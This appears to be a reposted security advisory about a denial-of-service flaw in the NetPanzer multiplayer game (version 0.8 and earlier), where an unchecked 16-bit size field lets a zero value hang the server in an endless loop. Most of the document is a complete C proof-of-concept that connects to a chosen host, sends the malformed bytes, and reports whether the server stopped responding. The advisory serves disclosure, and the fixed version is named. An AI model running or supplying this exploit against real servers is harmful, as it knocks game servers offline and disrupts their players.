[NT] NetPanzer DoS

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  NetPanzer DoS
------------------------------------------------------------------------


SUMMARY

 <http://netpanzer.berlios.de > NetPanzer is "an open source multiplayer 
tactical game enough known and played". NetPanzer suffers from a denial of 
service flaw caused by the program entering an endless loop.

DETAILS

Vulnerable Systems:
 * NetPanzer version 0.8 and prior

Immune Systems:
 * NetPanzer version 0.8 CVN fixed ( 
<http://developer.berlios.de/svn/?group_id=1250> here)

The network code doesn't verify the correctness of the 16 bit number 
containing the size of the entire data block received from the network. If 
an attacker sends the number 0x0000 (the minimum should be 0x0002) the 
game enters in an endless loop and nobody can play.

Proof of concept:
/*

by Luigi Auriemma - http://aluigi.altervista.org/poc/panzone.zip

*/

#include <stdio.h>
#include <stdlib.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif

#define VER "0.1"
#define PORT 3030
#define TIMEOUT 5

int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd;
    u_short port = PORT;

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Netpanzer <= 0.8 endless loop "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: http://aluigi.altervista.org\n";
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- check server: ", stdout);
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    if(timeout(sd) < 0) {
        fputs("\nError: server doesn't seem to work, I have received no 
data\n\n", stdout);
        exit(1);
    } else {
        fputs("ok\n", stdout);
    }

    fputs("- send malformed data size\n", stdout);
    if(send(sd, "\x00\x00", 2, 0)
      <= 0) std_err();
    close(sd);

    fputs("- check server status:\n", stdout);
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  <http://aluigi.altervista.org> 
http://aluigi.altervista.org



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